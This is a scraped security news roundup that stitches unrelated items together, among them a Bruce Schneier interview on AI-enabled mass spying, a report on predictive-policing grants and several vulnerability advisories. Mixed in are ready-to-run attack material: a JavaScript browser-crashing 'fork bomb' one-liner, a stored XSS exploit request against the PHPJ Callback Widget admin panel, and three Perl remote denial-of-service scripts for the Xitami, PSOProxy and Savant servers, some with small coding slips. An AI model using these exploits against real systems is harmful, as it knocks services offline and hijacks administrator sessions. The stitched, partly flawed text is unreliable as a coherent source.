Senior Privacy Advocate David Ruiz speaks with Bruce Schneier about artificial intelligence, surveillance, and an era of "mass spying."

For decades, governments and companies have surveilled the conversations, movements, and behavior of the public.

And then the internet came along and made that a whole lot easier.  

Today, search engines collect our queries, browsers collect our device information, smartphones collect out locations, social media platforms collect our conversations with one another, and, depending on the country, governments either collect that same information from the companies that maintain it, or they gather it directly themselves by monitoring their people.

That’s a lot of data that, until now, has been difficult to parse at scale.

But cryptographer and computer security professional Bruce Schneier believes that’s going to change, all because of the advent of artificial intelligence.

Already equipped with reams of data, governments and companies will now be able to ask AI models to make conclusions _from_ the data, Schneier said, supercharging the human work of inquiry with the limitless scale of AI.

“Spying is limited by the need for human labor,” Schneier wrote. “AI is about to change that.”

In January, Senior Privacy Advocate David Ruiz (and host of the Lock and Code podcast) spoke with Schneier about the future of AI-enabled mass spying—the implications, the responses from the public, and whether there’s any hope in dismantling a system so deeply embedded in the modern world.

Below is an edited transcript of their conversation.

**DAVID RUIZ**: We know that mass surveillance has this “Collect it all” mentality—of the NSA, obviously, but also from companies that gather clicks and shares and locations and app downloads and all of that.

What is the mass spying equivalent of that?

**BRUCE SCHNEIER**: So, it’s “Collect it all,” but it’s “Collect different things.”

Let’s step back here.

We kind of know what mass surveillance, mass spying looks like. It’s the kind of thing we saw in former East Germany, where like 10 percent of the population spied on 90 percent of the population. And it was incredibly manpower intensive.

Now, we moved into a world of automatic mass surveillance with the rise of the internet and the rise of cheap data storage and processing. This is maybe 20 years ago, when companies and the NSA start collecting mass surveillance data, and that is metadata—the kind of data that Snowden talked about—data about data. Data from your phone, from your browser, who you spoke to, where you went, what you spent money on, what websites you visited, that’s kind of mass surveillance data.

> Spying, the difference I’m making, is about conversations.

And while computers were easily able to interpret location data and data about who you spoke to—your email “from” and “to” lines—they weren’t able to interpret what you said.  Voice conversations, text conversations, email conversations, they could do keyword searches and if you think about, Chinese censorship is based pretty naively on keyword searches. \[For instance,\] you say the bad word, you get censored. That’s still very primitive.

Spying—listening in on a conversation, knowing what people are saying—required human beings, and there weren’t enough humans to listen to everything. So, you had this automatic surveillance: We can know where everybody is, that’s easy.  But knowing what everybody’s saying, we still couldn’t do—we didn’t have the people.

As AI becomes increasingly capable of understanding and even having conversations, it can start doing the role that people used to do and engage in this kind of spying at a mass level.

Now, the question you asked started me in this monologue is what did that look like? And the answer is: We have no idea.

We kind of know what East Germany looked like, former Soviet Union. We do know what some of these countries look like. But I don’t think it’s the same. It is not this kind of mass spying by corporations. Or by democratic governments. So, we don’t know. But it’s worth at least thinking about. 

**DAVID RUIZ**: When I was trying to answer my own question, I feel like one of the potential futures here is, instead of “Collect it all,” it’s this attempt at “Know it all.”

**BRUCE SCHNEIER**: It always was “Know it all,” but now it becomes more possible.

**DAVID RUIZ**: Yeah, and I was hypothesizing that there might be companies that say “We have created a package of questions that we use on AIs that we know and trust to discover these new insights,” and \[they\] sell these packages to companies that are trying to find out XYZ and ABC about their customers, or governments about their persons.

And that already sounds awful. It sounds both boring and dreadful, which is what I think surveillance is today—it is boring operationally in terms of \[how\] we don’t see data brokers. We don’t see what gets collected every single day behind the interface of the web. But it is used so much to power the direction of the web.

**BRUCE SCHNEIER**: And my guess is that’s right. And it’s not actually boring. Certainly, the companies wanted you to think that. It is very hidden. Data brokers spent a lot of effort making sure that there’s no visibility into their industry, so we don’t know the data being collected on us.

But remember, this is still all surveillance data. It’s not the contents of your phone calls, it’s the billing information. It’s who you called, what time, how long you spoke, that kind of information. Maybe the location of your two phones when you were talking. This brings it up to another level. 

**DAVID RUIZ**: You mentioned that this is the conversations—the content of communications. And I wanted to address that immediately because I think whenever spying is discussed, a lot of folks picture someone rifling through text messages or emails. And I think some people might balk at that. They might say and reject the premise based on things like “Oh, Apple can’t look at my iMessages, and Google said it wouldn’t advertise based on email content some years ago, and my phone provider, I don’t think, is recording my phone calls.”

So, my question after those kinds of claims, is: Is that too narrow a lens to understand this future of mass spying? What am I missing when I say those things to calm myself down?

**BRUCE SCHNEIER**: I think it’s all economics. Google did realize that eavesdropping on the contents of your Gmail wasn’t terribly useful. So, they didn’t do it. Of course, they made a virtue out of it. That stuff will change.

We’re already seeing \[the questions of\] “Is this company using your data to train their AI? Will it be used to influence how an AI interacts with you?”\[And\] already we can see that the tones of voice we use with these AI chatbots is mirrored. They say they’re not storing it and using it for training—we don’t know the answer.

As this stuff becomes more valuable, as companies see a business interest in using it, of course it’s going to be used. It’s not going to be a world where we \[can\] rely on the goodness of the hearts of for-profit corporations not to abuse our privacy.

So, it’s a matter of how cheap it is. It is going to become cheap for Google to eavesdrop on the contents of everyone’s email conversations, or for Zoom to eavesdrop on all meetings? They currently say they’re not \[monitoring meetings in\] their terms of service, they’ll probably \[receive\] push back if they change it—they were already pushed back because there was a thought that Zoom would be using your information to train an AI. \[It\] turned out to not be true, but there was a little panic there. But how long does that last? 

We saw this with Facebook and their surveillance over the years and decades.

They did a new thing, there was a pushback, there’s an outcry, and after a couple months, it was the new normal. So, I don’t know where this is going to go, but the tech is moving to the point where this stuff is possible and, in fact, easy. 

**DAVID RUIZ**: We talked about the business case for \[AI-enabled mass spying\] and I wanted to ask more broadly: Who will engage in AI mass spying?

**BRUCE SCHNEIER**: The answer is going to be everybody who can.

Who are the major players here? Certainly there are corporations who are doing it for manipulation purposes. Surveillance is the business model of the internet because advertising is the business model of the internet, and advertising is convincing you to do something that you might not have done otherwise.

So, this surveillance-based manipulation is the business model, and anything that gives a company an advantage, they’re going to do. We \[already\] saw that with personalized advertising \[which is\] based on characteristics that you might not be happy sharing.

So, companies will do that.

Now, in the West, we tend not to have governments do this on their own citizens—they rely on corporations. The US government doesn’t spy on us directly, they get the spying data from corporations who do that to everybody.

You go to other countries, more totalitarian countries, and governments do engage in surveillance and will engage in spying. Here, I’m thinking about China, but other countries as well. So, very much think of it in terms of power:

> Those that have the power will engage in the behaviors because it magnifies their power. There is no surprise. 

**DAVID RUIZ**: There’s a lot of times where we could think “Why would a company do this? Why would a government do this?” And there’s a lot of alleged reasons. The NSA will say that it collects as much data as possible for national security reasons, but they’ve been saying that for decades, and the national security reason seems to change every few years, right? There’s a, there’s a “national security risk du jour.”

And it’s much easier and simpler to think of it as those that have power hope to keep that power and amass more of it.

I wanted to separately ask: We talked about corporations. We talked about governments. What about people? I have access to AI tools in a way that I don’t have access to data collection regimes.

So, are people going to spy on people?

**BRUCE SCHNEIER**:  People are already spying on people. It’s more one-on-one. There’s an entire industry of super creepy spyware that is sold to people who want to spy on their wives and girlfriends. This is kind of a gross industry, but it exists and it is used in many countries.

So, yes. But here again, the power matters, and it’s generally the more powerful spying on the less powerful in a relationship. It’s generally the man spying on the woman because that’s the power imbalance.

When you think about bulk surveillance, it’s access to the data.

I really can’t spy on my neighborhood. Sure, I can set up a camera in front of my house and watch what’s going on in my street, but that’s all I could do. I don’t have the power to put cameras everywhere. I don’t have the power to get your email or your Zoom stream.

So, I think you are going to see some use of these technologies by people who are not traditionally powerful. But in general, like all these technologies, they benefit the powerful more than the less powerful.

**DAVID RUIZ**: We know that people act differently when they know they’re being surveilled—will that also apply to mass spying?

**BRUCE SCHNEIER**: Certainly, people in the United States have lived out of this kind of regime in post-9/11. Lots of Muslims lived in a world where they were being spied on a lot.

Lots of people—Jon Penney comes to mind, there are others—have researched how the feeling that you’re under constant surveillance—or spying, they’re both the same here—leads to self-censorship.

If you think you are being watched all the time, you behave differently. We do know that there’s an enormous chilling effect on how you behave, what you do, on your conformity. And if you think you’re being watched all the time, you tend to conform. You’re not going to do something different. You’re not going to stand out.

> This seems really bad for society because that’s how society innovates. A world where people don’t try new things is a world that stagnates.

To take an easy example, about 10 years ago, I forget the year, gay marriage became legal in the United States, in all 50 states. It became the law of the land and that change was the result of a multi-decade process. For a while it was illegal and immoral, then it was illegal and moral, and then it became legal and moral.  And in order for that to happen—in order for that whole progression—somebody way back in the beginning had to try gay sex once and say: “You know, that wasn’t so bad. That was kind of fun.”

And the reason they were able to do that is that they weren’t being watched. They could do it in the privacy of their own bedroom and no one could stop them.

If you live in a world where, whether it’s gay sex or marijuana or whatever it is that becomes the mainstream moral norm over several generations, if you can’t try it, if there can’t be a counterculture of doing it, it never will become the social norm. If everybody who tried pot in the ‘50s was immediately discovered and arrested, you’d never get to legalization. You never would get a generation of people that would say, “You know, that’s not that bad. Why are we criminalizing this kind of not harmful drug?”

**DAVID RUIZ**: On the current environment that we live in, where so much surveillance happens every day—again, both from corporations and from governments—it doesn’t seem like there’s any way to dismantle it. And it feels like the potential of mass spying to produce even deeper insights means that we’ve lost the battle on surveillance. Have we lost that battle?

**BRUCE SCHNEIER**: I never think it’s too late, and that kind of fatalism doesn’t make sense when you look at history. It’s like saying in the 1200s, “Well, we tried to fight against monarchy. I guess that didn’t work. It’s too late.” Or centuries later, “You know, we tried to fight against slavery, that didn’t work.” Or, “You know, we’ll never give women the vote. That ship has sailed.”

> We, as a species, regularly make our society more moral, more ethical, more egalitarian. It’s slow, it’s bursty, but decade over decade, century over century, we are improving.

So, no, I don’t think from now until the end of our species, the level of surveillance we see today cannot be rolled back. I think that is ridiculous.

We no longer send five-year-olds up chimneys to clean them. We don’t do that. We changed. We no longer allow companies to sell pajamas that catch on fire. We changed. We can do that here.

Like the other big things, like monarchy, like slavery, like the patriarchy, these things are going to be hard to dismantle, but they are dismantlable.

Near term, I think you’re right. Near term, both companies and governments are just punch-drunk on our data, and they’re not going to give it up. But long term, lots of things are possible and will happen. 

**DAVID RUIZ**: I mean this as a high compliment: You are the most optimistic guest we’ve had on the podcast.

**BRUCE SCHNEIER**: I’m near term pessimistic and long term optimistic. Near term, I think we’re screwed. The tech monopolies are so powerful, and we saw that with social media. Both Republicans and Democrats agreed—this never happened before—that Facebook was harming our society in different ways, but it’s harming society. \[They\] called Zuckerberg in, called the other companies in, yelled at them, \[said\] something must be done, and nothing was done.

That is sheer lobbying power right there in operation.

So, near term, I don’t see any solution, but our species has handled harder problems than this. This won’t be the one that stumps us.

**DAVID RUIZ**: What do we do at this point? 

**BRUCE SCHNEIER**: I want this to be a political issue. This stuff changes when it becomes an issue that voters care about. If there is a debate question on this, if this becomes something that politicians are asked about, then change will happen, right? If it isn’t, then it is really just the lobbyists that get to decide what happens.

“What should we do?” is agitate for change. Make this political, make this something that politicians can’t ignore.

Where change is happening is the EU. You have listeners in the EU, and they will know that things are happening there. Right now, Europe is the regulatory superpower on the planet. They are the jurisdiction where we got a comprehensive data privacy law, where they are passing an AI security law, stuff that you would never see in the United States.

So, look outside the US right now, but make this political. That’s how we’re going to make it better.

But we’re fighting uphill. It’s very hard in the United States to enact policies that the money doesn’t want. Money gets its way in in US policy. And the money wants this. 

**DAVID RUIZ**: And I think disentangling money from politics in the United States is a different \[conversation\], and unfortunately we don’t have the time for it.

**BRUCE SCHNEIER**: No, surely you can solve that in half an hour.

**DAVID RUIZ**: Actually, are you booked for the next half hour?

**BRUCE SCHNEIER**: If I was able to solve that, I would be not doing what I’m doing now, because, you’re right, that might not be the most important problem, but as Professor Larry Lessig said, it’s the first problem. It’s a problem we need to solve to solve every other problem.

 In conversation: Bruce Schneier on AI-powered mass spying 

Chrome version 121 suffers from a javascript fork malloc vulnerability that indicates memory corruption upon crash.

    Searching the web for `javascript fork malloc bomb` returns results,e.g. [here][1]: and [here][2]:We got a javascript fork malloc bomb which crashed Chrome 121 on linuxwith SIGILL and about one in five runs the virtual machine freezes.SIGILL almost always is a sign of memory corruption :)On android it crashes the current tab without explanation.Firefox 121 on linux also crashes the current tab.In all cases except the sporadic freezes, the browser remains functioning,not counting the crashed tab.The javscript code is simply simple:`setInterval("document.body.innerHTML += document.body.innerHTML ",1);`[Online demo][3]: In case someone wants to test it on other browsersor debug.The GNU/linux tests took about 1.5 minutes in a virtual machine with4GB RAM and single core.[1]: http://wiki.glitchdata.com/index.php/Examples_of_fork_bombs#JavaScript[2]: https://gist.github.com/betandr/f0cbbb663accc3a76c11cc7661711566#javascript[3]: https://www.guninski.com/fork1.html

Chrome 121 Javascript Fork Malloc Bomb

PHPJ Callback Widget version 1.0 suffers from a persistent cross site scripting vulnerability.

    ## Title: PHPJ-Callback-Widget-1.0-XSS-Stored-admin-Hijacking## Author: nu11secur1ty## Date: 01/26/2024## Vendor: https://www.phpjabbers.com/## Software: https://www.phpjabbers.com/callback-widget/## Reference: https://portswigger.net/web-security/cross-site-scripting## Description:The Callback Requests function is vulnerable to javascript injection.The malicious user from everywhere can send an XSs-stored exploit codeto the admin panel, and then when the admin visits the API CallbackRequests function he will immediately activate the exploitation of themalicious actor. This is so fun, thanks for watching the PoC video. =)BRSTATUS: HIGH-Vulnerability[+]Exploit:```POSTPOST /1706261102_419/index.php?controller=pjFront&action=pjActionSave HTTP/1.1Host: demo.phpjabbers.comCookie: _ga=GA1.2.2069938240.1692907228;_fbp=fb.1.1705479327501.84379277;_ga_NME5VTTGTT=GS1.2.1705493664.10.1.1705493702.22.0.0;CallbackWidget=irnrkmih5bc4ehc7fcgbc8ql84Content-Length: 322Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120"Accept: */*Content-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestSec-Ch-Ua-Mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.216Safari/537.36Sec-Ch-Ua-Platform: "Windows"Origin: https://demo.phpjabbers.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://demo.phpjabbers.com/1706261102_419/preview.php?theme=theme1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Priority: u=1, iConnection: closereason_id=2&name=%3Ca+href%3D%22https%3A%2F%2Fwww.pornhub.com%22+target%3D%22_blank%22%3E+%09%3Cimg+src%3D%22https%3A%2F%2Fel.phncdn.com%2Fgif%2F45467111.gif%22+alt%3D%22STUPID%22width%3D%22900%22+height%3D%22450%22%3E+%3C%2Fa%3E&email=hack%40hack.com&phone=1234567890&besttime=30-01-2024+11%3A30&timezone=0&captcha=VIXFWL```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2024/Callback-Widget-1.0)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2024/01/phpj-callback-widget-10-xss-reflected.html)## Time spent:00:15:00

PHPJ Callback Widget 1.0 Cross Site Scripting

Members of Congress say the DOJ is funding the use of AI tools that further discriminatory policing practices. They're demanding higher standards for federal grants.

The United States Department of Justice has failed to convince a group of US lawmakers that state and local police agencies aren't awarded federal grants to buy AI-based “policing” tools known to be inaccurate, if not prone to exacerbating biases long observed in US police forces.

Seven members of Congress wrote in a letter to the DOJ, first obtained by WIRED, that the information they pried loose from the agency had only served to inflame their concerns about the DOJ’s police grant program. Nothing in its responses so far, the lawmakers said, indicates the government has bothered to investigate whether departments awarded grants bought discriminatory policing software.

“We urge you to halt all Department of Justice grants for predictive policing systems until the DOJ can ensure that grant recipients will not use such systems in ways that have a discriminatory impact,” the letter reads. The Justice Department previously acknowledged that it had not kept track of whether police departments were using the funding, awarded under the Edward Byrne Memorial Justice Assistance Grant Program, to purchase so-called predictive policing tools.

Led by Senator Ron Wyden, a Democrat of Oregon, the lawmakers say the DOJ is required by law to “periodically review” whether grant recipients comply with Title VI of the nation’s Civil Rights Act. The DOJ is patently forbidden, they explain, from funding programs shown to discriminate on the basis of race, ethnicity, or national origin, whether that outcome is intentional or not.

Independent investigations in the press have found that popular “predictive” policing tools trained on historical crime data often replicate long-held biases, offering law enforcement, at best, a veneer of scientific legitimacy while perpetuating the over-policing of predominantly Black and Latino neighborhoods. An October headline from The Markup states bluntly: “Predictive Policing Software Terrible At Predicting Crimes.” The story recounts how researchers at the publication recently examined 23,631 police crime predictions—and found them accurate roughly 1 percent of the time.

“Predictive policing systems rely on historical data distorted by falsified crime reports and disproportionate arrests of people of color,” Wyden and the other lawmakers wrote, predicting—as many researchers have—that the technology serves only to create “dangerous” feedback loops. The statement notes that “biased predictions are used to justify disproportionate stops and arrests in minority neighborhoods,” further biasing statistics on where crimes occur.

Senators Jeffrey Merkley, Ed Markey, Alex Padilla, Peter Welch, and John Fetterman also cosigned the letter, as did Representative Yvette Clarke.

The lawmakers have requested that an upcoming presidential report on policing and artificial intelligence investigate the use of predictive policing tools in the US. “The report should assess the accuracy and precision of predictive policing models across protected classes, their interpretability, and their validity,” to include, they added, “any limits on assessing their risks posed by a lack of transparency from the companies developing them.”

Should the DOJ wish to continue funding the technology after this assessment, the lawmakers say, it should at least establish “evidence standards” to determine which predictive models are discriminatory—and then reject funding for all those that fail to live up to them.

US Lawmakers Tell DOJ to Quit Blindly Funding ‘Predictive’ Police Tools

Xitami version 2.5b4 remote denial of service exploit.

#!/usr/bin/perl

use IO::Socket::INET;

# Exploit Title: Xitami 2.5b4 - Denial of Service (DoS)  
# Discovery by: Fernando Mengali  
# Discovery Date: 29 january 2024  
# Vendor Homepage: https://imatix-legacy.github.io/xitami.com/  
# Download to demo: https://drive.google.com/file/d/1hOVDRvk0KlZbHM4HeNhvhlbETbmQVEsf/view?usp=sharing  
# Notification vendor: No reported  
# Tested Version: Xitami 2.5b4   
# Tested on: Window XP Professional - Service Pack 2 and 3 - English  
# Vulnerability Type: Denial of Service (DoS)  
# Vídeo: https://www.youtube.com/watch?v=Sxe6HIhAl4A

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).  
#For this exploit I have tried several strategies to increase reliability and performance:  
#Jump to a static 'call esp'  
#Backwards jump to code a known distance from the stack pointer.  
#The server did not properly handle request with large amounts of data to webserver.  
#The following request sends a large amount of data to the webserver to process, the server will crash as soon as it is received and processed, causing denial of service conditions.  
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

    $sis="$^O";

    if ($sis eq "windows"){  
      $cmd="cls";  
    } else {  
      $cmd="clear";  
    }

    system("$cmd");

        intro();  
    main();

print "\t    ==> Connecting to webserver... \n\n";  
sleep(1);

    $exploit  = "A"*939;

if ($socket = IO::Socket::INET->new  
   (PeerAddr => $ip,  
   PeerPort => $port,   
   Proto => "TCP"))

       {   
    $header =  
    "GET / HTTP/1.1\r\n".  
    "Host: ".$target." \r\n".  
    "If-Modified-Since: AAAAAAAAAAAAA "." $exploit\r\n";

    print $socket $header."\r\n";  
    sleep(1);  
    close($socket);  
    }

else  
  {  
  print "[-] Connection to $target failed!\n";  
  } 

            print "\t    ==> Done! Exploited!";  
   sub intro {  
      print q {

     _________  
    |         |  
    | Exploit |==( )    //////  
    |_________|   |||   | o o|                   
                    ||| ( c  )                  ____  
                     ||| \= /                  ||   \_  
                      ||||||                   ||     |  
                      ||||||                ...||__/|-"  
                      ||||||             __|________|__  
                        |||             |______________|  
                        |||             || ||      || ||  
                        |||             || ||      || ||  
      ------------|||-------------||-||------||-||-------  
                        |__>            || ||      || ||          

                              [+] Xitami 2.5b4 - Denial of Service (DoS)

      [*] Coded by Fernando Mengali

      [@] e-mail: fernando.mengalli@gmail.com

      }  
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "\n\tUsage: $0 <ip> <port>                 \n";  
        exit(-1);

      }  
  }

Xitami 2.5b4 Denial Of Service

PSOProxy version 0.91 remote denial of service exploit.

#!/usr/bin/perl

use IO::Socket::INET;

# Exploit Title: PSOProxy 0.91 - Denial of Service (DoS)  
# Discovery by: Fernando Mengali  
# Discovery Date: 28 january 2024  
# Vendor Homepage: https://sourceforge.net/projects/psoproxy/files/latest/download  
# Download to demo: https://drive.google.com/file/d/1O8Q2d0muet6XuOhqwXuvT3qfzgGNk6vs/view?usp=sharing  
# Notification vendor: No reported  
# Tested Version: PSOProxy 0.91  
# Tested on: Window XP Professional - Service Pack 2 and 3 - English  
# Vulnerability Type: Denial of Service (DoS)  
# Vídeo: https://www.youtube.com/watch?v=ALe3uFS4cUA

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).  
#For this exploit I have tried several strategies to increase reliability and performance:  
#Jump to a static 'call esp'  
#Backwards jump to code a known distance from the stack pointer.  
#The server did not properly handle request with large amounts of data to web server.  
#The following request sends a large amount of data to the web server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.  
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

    $sis="$^O";

    if ($sis eq "windows"){  
      $cmd="cls";  
    } else {  
      $cmd="clear";  
    }

    system("$cmd");

        intro();  
    main();

print "\t    ==> Connecting to webserver... \n\n";  
sleep(1);

my $i=0;  
    print "\t    ==> Exploiting... \n\n";

$socket = IO::Socket::INET->new  
     (PeerAddr => $ip,  
      PeerPort => $port,  
      Proto => "tcp")  
{  
        $header =  
        "GET / HTTP/1.1\r\n".  
        "Host: ".$ip." \r\n".  
        "Connection:".$exploit."\r\n";

        print $socket $header."\r\n";  
        sleep(1);  
        close($socket);  
}

 else  
{  
    print "[-] Connection to $target failed!\n";  
    exit;  
}

print "\t    ==> Done! Exploited!";  
   sub intro {  
      print q {

                              ,--,  
                       _ ___/ /\|  
                   ,;'( )__, )  ~  
                  //  //   '--;   
                  '   \     | ^  
                       ^    ^

      [+] PSOProxy 0.91 - Denial of Service (DoS)

      [*] Coded by Fernando Mengali

      [@] e-mail: fernando.mengalli@gmail.com

      }  
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "\n\tUsage: $0 <ip> <port>                 \n";  
        exit(-1);

      }  
  }

#3. Solution/ How to fix:

# This version product is deprecated

PSOProxy 0.91 Denial Of Service

Savant version 3.0 remote denial of service exploit.

#!/usr/bin/perl

use IO::Socket;

# Exploit Title: Savant 3.0 - Denied of Service (DoS)  
# Discovery by: Fernando Mengali  
# Discovery Date: 27 january 2024  
#https://sourceforge.net/projects/savant/files/Savant/3.0/Savant30.exe/download  
# Download to demo: https://drive.google.com/file/d/18m_wzC8EOSB8lHPc1DexpOfsDm7H8RFs/view?usp=sharing      
# Notification vendor: No reported  
# Tested Version: Savant 3.0 - Denied of Service (DoS)  
# Tested on: Window XP Professional - Service Pack 2 and 3 - English  
# Vulnerability Type: Denied of Service (DoS)

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).  
#For this exploit I have tried several strategies to increase reliability and performance:  
#Jump to a static 'call esp'  
#Backwards jump to code a known distance from the stack pointer.  
#The web server does not correctly handle the amount of data or bytes sent to command RNTO.  
#When authenticating to the web server with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing Denied of service conditions.  
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

    $sis="$^O";

    if ($sis eq "windows"){  
      $cmd="cls";  
    } else {  
      $cmd="clear";  
    }

    system("$cmd");

        intro();  
    main();

        print "[+] Exploiting... \n";

    my $sc = "\x90" x 245;

    my $buf = "\x41\x41" . " /" . $sc."\r\n\r\n";

my $s = IO::Socket::INET->new(PeerAddr => $ip, PeerPort => $por, Proto => 'tcp') or exit;  
$s->send($buf);  
close $s;

    print "[+] Done - Exploited success!!!!!\n\n";

     sub intro {  
      print q {

                            _/|       
                           // o\      
                           || ._)    
                           //__\     
                           )___(   

      [+] Savant 3.0 - Denied of Service (DoS)

      [*] Coded by Fernando Mengali

      [@] e-mail: fernando.mengalli@gmail.com

      }  
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "       \nUsage: $0 <ip> <port>                 \n";  
        exit(-1);

      }  
  }

Savant 3.0 Denial Of Service

sane version 1.2.1 suffers from a buffer overflow vulnerability.

Change Mirror Download

    [Vulnerability description]A buffer overflow existed in Sane v.1.2.1 via a crafted config file to the init_options() function.[Vulnerability Type]Buffer Overflow[Vendor of Product]sane[Affected Product Code Base]sane - 1.2.1[Reference]https://gitlab.com/sane-project/backends/-/issues/709[CVE Reference]The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2023-46052 to this vulnerability.

sane 1.2.1 Buffer Overflow

MiniZinc version 2.7.6 suffers from a null pointer vulnerability.

**MiniZinc 2.7.6 Null Pointer**

Posted Jan 29, 2024

Authored by Meng Ruijie

MiniZinc version 2.7.6 suffers from a null pointer vulnerability.

tags | advisory

advisories | CVE-2023-46050

SHA-256 | a80cb0270b834776631af2ca8f8daa61229fb0418cf1801a697093adfbf995c9

Download | Favorite | View

**MiniZinc 2.7.6 Null Pointer**

    [Vulnerability description]A null pointer deference existed in MiniZinc v.2.7.6 via a crafted Preferences.json file.[VulnerabilityType Other]null pointer deference[Vendor of Product]MiniZinc[Affected Product Code Base]MiniZinc - 2.7.6[Reference]https://github.com/MiniZinc/libminizinc/issues/729[CVE Reference]The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2023-46050 to this vulnerability.

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MiniZinc 2.7.6 Null Pointer

In Apache Kylin version 2.0.0 to 4.0.3, there is a Server Config web interface that displays the content of file 'kylin.properties', that may contain serverside credentials. When the kylin service runs over HTTP (or other plain text protocol), it is possible for network sniffers to hijack the HTTP payload and get access to the content of kylin.properties and potentially the containing credentials.

To avoid this threat, users are recommended to 

  *  Always turn on HTTPS so that network payload is encrypted.

  *  Avoid putting credentials in kylin.properties, or at least not in plain text.
  *  Use network firewalls to protect the serverside such that it is not accessible to external attackers.

  *  Upgrade to version Apache Kylin 4.0.4, which filters out the sensitive content that goes to the Server Config web interface.

1.  GitHub Advisory Database
2.  GitHub Reviewed
3.  CVE-2023-29055

**Apache Kylin has Insufficiently Protected Credentials**

Moderate severity GitHub Reviewed Published Jan 29, 2024 to the GitHub Advisory Database • Updated Jan 29, 2024

**Package**

maven org.apache.kylin:kylin-core-common (Maven)

**Affected versions**

\>= 2.0.0, < 4.0.4

In Apache Kylin version 2.0.0 to 4.0.3, there is a Server Config web interface that displays the content of file 'kylin.properties', that may contain serverside credentials. When the kylin service runs over HTTP (or other plain text protocol), it is possible for network sniffers to hijack the HTTP payload and get access to the content of kylin.properties and potentially the containing credentials.

To avoid this threat, users are recommended to 

*   Always turn on HTTPS so that network payload is encrypted.
    
*   Avoid putting credentials in kylin.properties, or at least not in plain text.
    
*   Use network firewalls to protect the serverside such that it is not accessible to external attackers.
    
*   Upgrade to version Apache Kylin 4.0.4, which filters out the sensitive content that goes to the Server Config web interface.
    

**References**

*   https://nvd.nist.gov/vuln/detail/CVE-2023-29055
*   https://lists.apache.org/thread/o1bvyv9wnfkx7dxpfjlor20nykgsoh6r
*   http://www.openwall.com/lists/oss-security/2024/01/29/1
*   apache/kylin@b60d5ae

Published to the GitHub Advisory Database

Jan 29, 2024

Last updated

Jan 29, 2024

Tag

#git